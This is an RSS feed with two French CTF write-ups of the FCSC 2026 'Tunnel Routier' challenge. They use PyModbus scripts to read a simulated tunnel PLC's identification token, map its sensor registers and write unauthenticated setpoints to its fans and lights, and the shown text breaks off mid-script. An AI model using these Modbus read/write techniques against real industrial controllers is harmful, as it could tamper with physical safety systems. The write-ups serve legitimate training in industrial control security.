<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Onirix</title><link>https://0xonirix.fr/posts/</link><description>Recent content in Posts on Onirix</description><generator>Hugo -- gohugo.io</generator><language>fr</language><copyright>CC BY-NC 4.0</copyright><lastBuildDate>Tue, 14 Apr 2026 10:52:57 +0200</lastBuildDate><atom:link href="https://0xonirix.fr/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>FCSC 2026 - Tunnel Routier 1/2</title><link>https://0xonirix.fr/posts/fcsc2026_tunnel_routier_1-2/fcsc2026_tunnel_routier_1-2/</link><pubDate>Sun, 12 Apr 2026 12:00:00 +0000</pubDate><guid>https://0xonirix.fr/posts/fcsc2026_tunnel_routier_1-2/fcsc2026_tunnel_routier_1-2/</guid><description>%!s(&lt;nil>)</description><content type="html"><![CDATA[<div>
  <img src="/posts/fcsc2026_tunnel_routier_1-2/images/logo_fcsc.svg" alt="Logo_FCSC" style="width: 50%">
  </br>
</div>
<p>Ceci est le write-up de la première partie du challenge <a href="/tags/misc/">Misc</a> <strong>Tunnel Routier</strong> du CTF <strong>France CyberSecurity Challenge</strong> (<a href="https://fcsc.fr/">FCSC</a>) édition 2026 organisé par l&rsquo;ANSSI.</p>
<h2 id="énoncé">Énoncé</h2>
<blockquote>
<p>Dans cette première partie de l&rsquo;épreuve, vous devez retrouver un token caché dans les données d&rsquo;identification de l&rsquo;automate pour vous permettre d&rsquo;accéder à la deuxième partie de l&rsquo;épreuve.</p>
<p>Note: La description du système est disponible sur une <a href="https://fcsc.fr/tunnel-routier-76bea48861178b0c">page dédiée</a></p>
<p><code>nc tunnel-routier.fcsc.fr 502</code></p>
</blockquote>
<h3 id="documentation">Documentation</h3>
<p>Voici la documentation présente à l&rsquo;adresse: <a href="https://fcsc.fr/tunnel-routier-76bea48861178b0c">https://fcsc.fr/tunnel-routier-76bea48861178b0c</a></p>
<p><strong>Tunnel routier : documentation</strong></p>
<p>Le tunnel de Grenelle d&rsquo;une longueur de 5km doit être inauguré ce jour, pour cela des responsables locaux ont fait le déplacement pour assister à sa première mise en service. Le système de contrôle-commande de ce tunnel est assuré par un automate programmable industriel (PLC) communiquant avec le SCADA au travers d&rsquo;un protocole industriel sur le port TCP/502. Ce système permet de réguler des valeurs de process offrant une traversée du tunnel en toute sécurité pour les usagers. Les valeurs de process régulés de cet automate sont les suivantes :</p>
<ul>
<li>Le taux de C02 (PPM)</li>
<li>La luminance (cd/m2)</li>
<li>La température (°C)</li>
</ul>
<p>Pour que le tunnel puisse être mis en service, il doit respecter les normes de sureté en vigueur, soit un taux de C02 inférieur ou égal à 800 PPM, une luminance supérieure ou égale à 300 cd/m2 et une température inférieure ou égale à 25 C°, et ce, dans les sections NORD et SUD du tunnel.</p>
<p>Alors que tout semblait normal la veille lors des vérifications, les équipes de conduite du tunnel découvrent avec stupéfaction, le matin même l&rsquo;inauguration, que les ventilateurs et les spots sont éteints et que le poste Enedis de Grenelle alimentant le tunnel est hors service. Ils se sont alors empressés d&rsquo;allumer le groupe électrogène de secours puis de redémarrer le process de régulation du tunnel via l&rsquo;interface SCADA. Cependant, au moment de se connecter sur l&rsquo;interface via le compte ayant les privilèges pour envoyer des consignes, ils se sont aperçus que le compte avait été supprimé pendant la nuit et qu&rsquo;ils n&rsquo;ont à présent accès qu&rsquo;au compte en lecture seule.</p>
<p>Sans solutions, les épuipes de conduite font appel à vos compétences pour remettre le tunnel en service avant l&rsquo;arrivée des VIP. A votre arrivée tardive, il ne vous reste qu&rsquo;une minute pour remédier à la situation. Il n&rsquo;y a pas une minute à perdre&hellip;</p>
<p>Dans cette première partie de l&rsquo;épreuve, vous devez retrouvez un token caché dans les données d&rsquo;identification de l&rsquo;automate pour vous permettre d&rsquo;accèder à la deuxième partie de l&rsquo;épreuve.</p>
<p>Dans cette deuxième partie de l&rsquo;épreuve, vous devez envoyer des consignes à l&rsquo;automate afin d&rsquo;obtenir des valeurs de process répondant aux normes de sureté (déjà fournies au dessus), le tout en moins d&rsquo;une minute. Vous avez également accès à l&rsquo;interface SCADA en lecture seule via le token récupéré dans la première partie de l&rsquo;épreuve.</p>
<p>Ces serveurs sont accessibles à ces adresses :</p>
<ul>
<li>automate : <code>nc tunnel-routier.fcsc.fr 502</code></li>
<li>interface web SCADA du tunnel : <a href="https://tunnel-routier.fcsc.fr/">https://tunnel-routier.fcsc.fr/</a>.</li>
</ul>
<p>Important. Chaque nouvelle connexion TCP à l&rsquo;automate sur le port 502 implique la réinitialisation de l&rsquo;automate, ainsi, un nouveau token est généré à chaque nouvelle connexion. Pour compléter les deux étapes de ce challenge dans le temps imparti, vous ne devrez donc pas couper votre connexion TCP et effectuer toutes vos requêtes dans la même connexion TCP.</p>
<div>
  <img src="/posts/fcsc2026_tunnel_routier_1-2/images/tunnel.png" alt="tunnel">
  </br>
</div>
<h3 id="interface-scada">Interface SCADA</h3>
<p>Voici l&rsquo;interface SCADA à l&rsquo;adresse <a href="https://tunnel-routier.fcsc.fr/">https://tunnel-routier.fcsc.fr/</a> mentionnée dans le document.</p>
<div>
  <img src="/posts/fcsc2026_tunnel_routier_1-2/images/scada-1.png" alt="tunnel">
  </br>
</div>
<hr>
<h2 id="résolution">Résolution</h2>
<p>Dans cette première partie, on cherche simplement à récupérer le token d&rsquo;accès à l&rsquo;automate SCADA, ce token serait caché dans les <strong>données d&rsquo;identification</strong> de ce dernier.</p>
<h3 id="protocole-de-communication">Protocole de communication</h3>
<p>Avant toute chose, il faut déterminer quel protocole on va devoir utiliser pour communiquer avec le SCADA, entre le Modbus TCP, l&rsquo;OPC-UA et les protocoles propriétaires, il y a beaucoup de possibilitées.</p>
<p>D&rsquo;après la documentation, on sait que la communication entre le PLC et le SCADA se fait via le port TCP/502, en regardant dans le registre <a href="https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml">IANA</a> (registre gérant, entre autre, les assignation de ports) et en cherchant le port <strong>502</strong>, on peut voir qu&rsquo;il est réservé à <strong>Modbus</strong>, c&rsquo;est donc ce que l&rsquo;on va utiliser.</p>
<h3 id="registre">Registre</h3>
<p>Il faut maintenant identifier le registre à lire. En regardant la <a href="https://www.modbus.org/file/secure/modbusprotocolspecification.pdf">documentation</a> de Modbus, on peut voir la fonction <strong>43 / 14 (0x2B / 0x0E) Read Device Identification</strong> qui est exactement ce que l&rsquo;on veut.</p>
<h3 id="code-python">Code Python</h3>
<p>Avec toutes ces informations, on peut écrire notre code Python en utilisant la librairie <a href="https://pymodbus.readthedocs.io/en/latest/">PyModbus</a>.</p>
<p>En cherchant <strong>Read Device Identification</strong> dans la <a href="https://pymodbus.readthedocs.io/en/latest/">documentation</a> de PyModbus on trouve la fonction <a href="https://pymodbus.readthedocs.io/en/latest/source/client.html#pymodbus.client.mixin.ModbusClientMixin.read_device_information">read_device_information</a>.</p>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2"><path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path></svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Le fait d&rsquo;utiliser <code>result.information</code> pour afficher le token est une information assez difficile à trouver, on peut voir que <code>read_device_information</code> retourne le dictionnaire <strong>information</strong> <a href="https://pymodbus.readthedocs.io/en/latest/source/library/pymodbus.html#pymodbus.pdu.mei_message.ReadDeviceInformationResponse">ici</a></div>
    </aside>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pymodbus.client</span> <span class="kn">import</span> <span class="n">ModbusTcpClient</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">client</span> <span class="o">=</span> <span class="n">ModbusTcpClient</span><span class="p">(</span><span class="s1">&#39;tunnel-routier.fcsc.fr&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">client</span><span class="o">.</span><span class="n">connect</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">result</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">read_device_information</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">result</span><span class="o">.</span><span class="n">information</span><span class="p">)</span>
</span></span></code></pre></div><p>On a en retour notre token:</p>
<p><code>{0: b'Siemens AG ', 1: b'S7-300 315-2EH13-0AB0 (Your token is : d3699c7e454f5fb5deeb7c6c637e44c5)', 2: b'3.0.33'}</code></p>
<h3 id="flag">Flag</h3>
<p>On a plus qu&rsquo;a le rentrer dans l&rsquo;<a href="https://tunnel-routier.fcsc.fr/">interface SCADA</a> et voici notre flag.</p>
<div>
  <img src="/posts/fcsc2026_tunnel_routier_1-2/images/scada-2.png" alt="tunnel">
</div>
<hr>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml">https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml</a></li>
<li><a href="https://pymodbus.readthedocs.io/en/latest/">https://pymodbus.readthedocs.io/en/latest/</a></li>
<li><a href="https://pymodbus.readthedocs.io/en/latest/source/library/pymodbus.html#pymodbus.pdu.mei_message.ReadDeviceInformationResponse">https://pymodbus.readthedocs.io/en/latest/source/library/pymodbus.html#pymodbus.pdu.mei_message.ReadDeviceInformationResponse</a></li>
<li><a href="https://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf">https://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf</a></li>
</ul>
]]></content></item><item><title>FCSC 2026 - Tunnel Routier 2/2</title><link>https://0xonirix.fr/posts/fcsc2026_tunnel_routier_2-2/fcsc2026_tunnel_routier_2-2/</link><pubDate>Sun, 12 Apr 2026 12:00:00 +0000</pubDate><guid>https://0xonirix.fr/posts/fcsc2026_tunnel_routier_2-2/fcsc2026_tunnel_routier_2-2/</guid><description>%!s(&lt;nil>)</description><content type="html"><![CDATA[<div>
  <img src="/posts/fcsc2026_tunnel_routier_2-2/images/logo_fcsc.svg" alt="Logo_FCSC" style="width: 50%">
  </br>
</div>
<p>Ceci est le write-up de la deuxième partie du challenge <a href="/tags/misc/">Misc</a> <strong>Tunnel Routier</strong> du CTF <strong>France CyberSecurity Challenge</strong> (<a href="https://fcsc.fr/">FCSC</a>) édition 2026 organisé par l&rsquo;ANSSI.</p>
<h2 id="énoncé">Énoncé</h2>
<blockquote>
<p>Dans cette deuxième partie de l&rsquo;épreuve, vous devez envoyer des consignes à l&rsquo;automate afin d&rsquo;obtenir des valeurs de process répondant aux normes de sureté (fournie dans la description détaillée), le tout en moins d&rsquo;une minute. Vous avez également accès à l&rsquo;interface SCADA en lecture seule via le token récupéré dans la première partie de l&rsquo;épreuve.</p>
<p>Note: La description du système est disponible sur une <a href="https://fcsc.fr/tunnel-routier-76bea48861178b0c">page dédiée</a>.</p>
<p><code>nc tunnel-routier.fcsc.fr 502</code></p>
</blockquote>
<h3 id="documentation">Documentation</h3>
<p>Voici la documentation présente à l&rsquo;adresse: <a href="https://fcsc.fr/tunnel-routier-76bea48861178b0c">https://fcsc.fr/tunnel-routier-76bea48861178b0c</a></p>
<p><strong>Tunnel routier : documentation</strong></p>
<p>Le tunnel de Grenelle d&rsquo;une longueur de 5km doit être inauguré ce jour, pour cela des responsables locaux ont fait le déplacement pour assister à sa première mise en service. Le système de contrôle-commande de ce tunnel est assuré par un automate programmable industriel (PLC) communiquant avec le SCADA au travers d&rsquo;un protocole industriel sur le port TCP/502. Ce système permet de réguler des valeurs de process offrant une traversée du tunnel en toute sécurité pour les usagers. Les valeurs de process régulés de cet automate sont les suivantes :</p>
<ul>
<li>Le taux de C02 (PPM)</li>
<li>La luminance (cd/m²)</li>
<li>La température (°C)</li>
</ul>
<p>Pour que le tunnel puisse être mis en service, il doit respecter les normes de sureté en vigueur, soit un taux de C02 inférieur ou égal à 800 PPM, une luminance supérieure ou égale à 300 cd/m2 et une température inférieure ou égale à 25 C°, et ce, dans les sections NORD et SUD du tunnel.</p>
<p>Alors que tout semblait normal la veille lors des vérifications, les équipes de conduite du tunnel découvrent avec stupéfaction, le matin même l&rsquo;inauguration, que les ventilateurs et les spots sont éteints et que le poste Enedis de Grenelle alimentant le tunnel est hors service. Ils se sont alors empressés d&rsquo;allumer le groupe électrogène de secours puis de redémarrer le process de régulation du tunnel via l&rsquo;interface SCADA. Cependant, au moment de se connecter sur l&rsquo;interface via le compte ayant les privilèges pour envoyer des consignes, ils se sont aperçus que le compte avait été supprimé pendant la nuit et qu&rsquo;ils n&rsquo;ont à présent accès qu&rsquo;au compte en lecture seule.</p>
<p>Sans solutions, les épuipes de conduite font appel à vos compétences pour remettre le tunnel en service avant l&rsquo;arrivée des VIP. A votre arrivée tardive, il ne vous reste qu&rsquo;une minute pour remédier à la situation. Il n&rsquo;y a pas une minute à perdre&hellip;</p>
<p>Dans cette première partie de l&rsquo;épreuve, vous devez retrouvez un token caché dans les données d&rsquo;identification de l&rsquo;automate pour vous permettre d&rsquo;accèder à la deuxième partie de l&rsquo;épreuve.</p>
<p>Dans cette deuxième partie de l&rsquo;épreuve, vous devez envoyer des consignes à l&rsquo;automate afin d&rsquo;obtenir des valeurs de process répondant aux normes de sureté (déjà fournies au dessus), le tout en moins d&rsquo;une minute. Vous avez également accès à l&rsquo;interface SCADA en lecture seule via le token récupéré dans la première partie de l&rsquo;épreuve.</p>
<p>Ces serveurs sont accessibles à ces adresses :</p>
<ul>
<li>automate : <code>nc tunnel-routier.fcsc.fr 502</code></li>
<li>interface web SCADA du tunnel : <a href="https://tunnel-routier.fcsc.fr/">https://tunnel-routier.fcsc.fr/</a>.</li>
</ul>
<p>Important. Chaque nouvelle connexion TCP à l&rsquo;automate sur le port 502 implique la réinitialisation de l&rsquo;automate, ainsi, un nouveau token est généré à chaque nouvelle connexion. Pour compléter les deux étapes de ce challenge dans le temps imparti, vous ne devrez donc pas couper votre connexion TCP et effectuer toutes vos requêtes dans la même connexion TCP.</p>
<div>
  <img src="/posts/fcsc2026_tunnel_routier_2-2/images/tunnel.png" alt="tunnel">
  </br>
</div>
<hr>
<h2 id="identification">Identification</h2>
<p>Dans cette 2ème partie, on doit remettre en fonctionnement le tunnel en moins de <strong>1 minute</strong>.</p>
<p>Pour ça, on doit agir sur 3 grandeurs physiques:</p>
<ul>
<li>Le taux de C02 (PPM)</li>
<li>La luminance (cd/m2)</li>
<li>La température (°C)</li>
</ul>
<p>Pour commencer, on doit identifier deux choses:</p>
<ul>
<li>Le registre des capteurs</li>
<li>Le registre des actionneurs</li>
</ul>
<h3 id="identification-des-types-de-registres">Identification des types de registres</h3>
<p>Le tableau de la section <strong>4.3 MODBUS Data model</strong> de la <a href="https://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf">documentation</a> MODBUS nous donne le détail des différents registres:</p>
<div>
  <img src="/posts/fcsc2026_tunnel_routier_2-2/images/register_table.png" alt="tunnel">
  </br>
</div>
<p>Commençont par le registre des <strong>capteurs</strong>, on sait que:</p>
<ul>
<li>Ce sont des <em>Input</em></li>
<li>Très probablement en lecture seule</li>
<li>Que ce sont des valeurs sur plus d&rsquo;un bit</li>
</ul>
<p>D&rsquo;après le tableau, tout porte à croire qu&rsquo;il s&rsquo;agit du <strong>Input Registers</strong>.</p>
<p>Pour celui des <strong>actionneurs</strong>, on sait que:</p>
<ul>
<li>Ils doivent être modifiable (Read-Write)</li>
<li>Ils doivent être sur plus d&rsquo;un bit (car pas simplement on/off)</li>
</ul>
<p>D&rsquo;après le tableau, tout porte à croire qu&rsquo;il s&rsquo;agit du <strong>Holding Registers</strong>.</p>
<p>Chaque registre (capteur ou actionneur) peut avoir 65536 adresses, chaque adresse contient <strong>16 bits</strong> de données (voir le tableau des registres ci-dessus).</p>
<p>Si on regarde le schéma dans l&rsquo;interface SCADA, on voit qu&rsquo;il y a <strong>3 capteurs</strong> et <strong>8 actionneurs</strong> (4 lumières et 4 ventilateurs) par tunnel (Nord et Sud), soit un total de <strong>6 capteurs</strong> et <strong>16 actionneurs</strong>.</p>
<h3 id="identification-des-adresses-du-registre-des-capteurs">Identification des adresses du registre des capteurs</h3>
<p>Notre but ici est de savoir à qu&rsquo;elle adresse est stockée qu&rsquo;elle valeur de quel capteur, on commence par lire le registre <strong>Input Registers</strong>:</p>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2"><path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path></svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Pour <code>client.read_input_registers()</code>, le paramètre <code>address</code> indique l&rsquo;adresse de départ et <code>count</code> le nombre de valeur à afficher, sachant que l&rsquo;on a 6 capteurs en tout on met <code>count=6</code></div>
    </aside>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pymodbus.client</span> <span class="kn">import</span> <span class="n">ModbusTcpClient</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Initialise la connexion Modbus</span>
</span></span><span class="line"><span class="cl"><span class="n">client</span> <span class="o">=</span> <span class="n">ModbusTcpClient</span><span class="p">(</span><span class="s1">&#39;tunnel-routier.fcsc.fr&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">client</span><span class="o">.</span><span class="n">connect</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Lit les 6 valeurs du input registers à l&#39;adresse 0</span>
</span></span><span class="line"><span class="cl"><span class="n">result</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">read_input_registers</span><span class="p">(</span><span class="n">address</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">count</span><span class="o">=</span><span class="mi">6</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
</span></span></code></pre></div><p>Ce qui nous donne: <code>ReadInputRegistersResponse(dev_id=1, transaction_id=1, address=0, count=0, bits=[], registers=[1600, 1600, 0, 0, 32, 32], status=1, retries=0)</code></p>
<p>Or, on veut juste la partie <code>registers</code>, on ajuste alors le script en modifiant <code>print(result)</code> en <code>print(result.registers)</code>, ce qui nous donne:</p>
<p><code>[1600, 1600, 0, 0, 32, 32]</code></p>
<p>D&rsquo;après l&rsquo;ordre de grandeur, on peut en déduire que les deux premiers sont les capteurs de CO2, les deux suivants de luminance et enfin les deux derniers de température.
Il est aussi très probable que le première de la paire concerne le tunnel nord et le second le tunnel sud.</p>
<p>Pour résumer:</p>
<table>
<thead>
<tr>
<th style="text-align:center"><strong>Adresse</strong></th>
<th style="text-align:center"><strong>Capteur</strong></th>
<th style="text-align:center"><strong>Tunnel</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">0</td>
<td style="text-align:center">CO2</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">1</td>
<td style="text-align:center">CO2</td>
<td style="text-align:center">Sud</td>
</tr>
<tr>
<td style="text-align:center">2</td>
<td style="text-align:center">Luminance</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">3</td>
<td style="text-align:center">Luminance</td>
<td style="text-align:center">Sud</td>
</tr>
<tr>
<td style="text-align:center">4</td>
<td style="text-align:center">Température</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">5</td>
<td style="text-align:center">Température</td>
<td style="text-align:center">Sud</td>
</tr>
</tbody>
</table>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2"><path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path></svg></div><b>Note</b>
        </div>
        <div class="admonition-content">On pourra vérifier ce tableau lors de l&rsquo;identification des actionneurs</div>
    </aside>
<h3 id="identification-des-adresses-du-registres-des-actionneurs">Identification des adresses du registres des actionneurs</h3>
<p>Ensuite, on s&rsquo;occupe du registre <strong>Holding Registers</strong>. Cette fois je vais écrire une valeur à une adresse et regarder sur quel actionneur ça agit sur le tableau de bord:</p>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2"><path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path></svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Ici on ne précise pas <em>holding registers</em> car c&rsquo;est le seul registre écrivable (oui c&rsquo;est moche mais ça existe), sinon c&rsquo;est un <em>coil</em>.</div>
    </aside>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pymodbus.client</span> <span class="kn">import</span> <span class="n">ModbusTcpClient</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Initialise la connexion Modbus</span>
</span></span><span class="line"><span class="cl"><span class="n">client</span> <span class="o">=</span> <span class="n">ModbusTcpClient</span><span class="p">(</span><span class="s1">&#39;tunnel-routier.fcsc.fr&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">client</span><span class="o">.</span><span class="n">connect</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Affiche le token</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">print</span><span class="p">(</span><span class="n">client</span><span class="o">.</span><span class="n">read_device_information</span><span class="p">()</span><span class="o">.</span><span class="n">information</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Ecrit la valeur 200 à l&#39;adresse 0</span>
</span></span><span class="line"><span class="cl"><span class="n">client</span><span class="o">.</span><span class="n">write_register</span><span class="p">(</span><span class="n">address</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">value</span><span class="o">=</span><span class="mi">200</span><span class="p">)</span>
</span></span></code></pre></div><p>Quand on regarde le tableau de bord, on peut voir que le premier ventilateur du tunnel nord s&rsquo;est allumé avec pour valeur <strong>200</strong> (surement en tours/min):</p>
<div>
  <img src="/posts/fcsc2026_tunnel_routier_2-2/images/dashboard-1.png" alt="tunnel">
  </br>
</div>
<p>On continue à tester les adresses jusqu&rsquo;a les avoir toutes mappées, ce qui donne:</p>
<table>
<thead>
<tr>
<th style="text-align:center"><strong>Adresse</strong></th>
<th style="text-align:center"><strong>Actionneur</strong></th>
<th style="text-align:center"><strong>Numéro</strong></th>
<th style="text-align:center"><strong>Tunnel</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">0</td>
<td style="text-align:center">Ventilateur</td>
<td style="text-align:center">1</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">1</td>
<td style="text-align:center">Ventilateur</td>
<td style="text-align:center">2</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">2</td>
<td style="text-align:center">Ventilateur</td>
<td style="text-align:center">3</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">3</td>
<td style="text-align:center">Ventilateur</td>
<td style="text-align:center">4</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">4</td>
<td style="text-align:center">Ventilateur</td>
<td style="text-align:center">1</td>
<td style="text-align:center">Sud</td>
</tr>
<tr>
<td style="text-align:center">5</td>
<td style="text-align:center">Ventilateur</td>
<td style="text-align:center">2</td>
<td style="text-align:center">Sud</td>
</tr>
<tr>
<td style="text-align:center">6</td>
<td style="text-align:center">Ventilateur</td>
<td style="text-align:center">3</td>
<td style="text-align:center">Sud</td>
</tr>
<tr>
<td style="text-align:center">7</td>
<td style="text-align:center">Ventilateur</td>
<td style="text-align:center">4</td>
<td style="text-align:center">Sud</td>
</tr>
<tr>
<td style="text-align:center">8</td>
<td style="text-align:center">Spots</td>
<td style="text-align:center">1</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">9</td>
<td style="text-align:center">Spots</td>
<td style="text-align:center">2</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">10</td>
<td style="text-align:center">Spots</td>
<td style="text-align:center">3</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">11</td>
<td style="text-align:center">Spots</td>
<td style="text-align:center">4</td>
<td style="text-align:center">Nord</td>
</tr>
<tr>
<td style="text-align:center">12</td>
<td style="text-align:center">Spots</td>
<td style="text-align:center">1</td>
<td style="text-align:center">Sud</td>
</tr>
<tr>
<td style="text-align:center">13</td>
<td style="text-align:center">Spots</td>
<td style="text-align:center">2</td>
<td style="text-align:center">Sud</td>
</tr>
<tr>
<td style="text-align:center">14</td>
<td style="text-align:center">Spots</td>
<td style="text-align:center">3</td>
<td style="text-align:center">Sud</td>
</tr>
<tr>
<td style="text-align:center">15</td>
<td style="text-align:center">Spots</td>
<td style="text-align:center">4</td>
<td style="text-align:center">Sud</td>
</tr>
</tbody>
</table>
<hr>
<h2 id="résolution">Résolution</h2>
<p>Maintenant que l&rsquo;on a tous les éléments, on va pouvoir écrire le script finale pour résoudre ce challenge.</p>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2"><path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path></svg></div><b>Note</b>
        </div>
        <div class="admonition-content"><p>Pour rappel, on doit avoir:</p>
<ul>
<li>CO2 &lt;= 800</li>
<li>Luminance &gt;= 300</li>
<li>Température &lt;= 25</li>
</ul>
<p>A noter que l&rsquo;on a que 2 actionneurs pour 3 capteurs, les ventilateurs vont donc agir sur le taux de CO2 <strong>ET</strong> la température.</p>
</div>
    </aside>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pymodbus.client</span> <span class="kn">import</span> <span class="n">ModbusTcpClient</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_token</span><span class="p">(</span><span class="n">client</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Retrieve the token from the device information.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    Parameters:
</span></span></span><span class="line"><span class="cl"><span class="s2">    client (ModbusTcpClient): Instance of ModbusTcpClient for TCP communication.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    Returns: 
</span></span></span><span class="line"><span class="cl"><span class="s2">    str: The access token.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">token</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">client</span><span class="o">.</span><span class="n">read_device_information</span><span class="p">()</span><span class="o">.</span><span class="n">information</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">match</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;Your token is :\s([A-Za-z0-9]+)&#34;</span><span class="p">,</span> <span class="n">token</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">token</span> <span class="o">=</span> <span class="k">match</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">token</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">start_fans</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Set the speed (RPM) for each fan of the North and South tunnel.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    Parameters:
</span></span></span><span class="line"><span class="cl"><span class="s2">    client (ModbusTcpClient): Instance of ModbusTcpClient for TCP communication.
</span></span></span><span class="line"><span class="cl"><span class="s2">    value (int): The RPM to set for the fans.
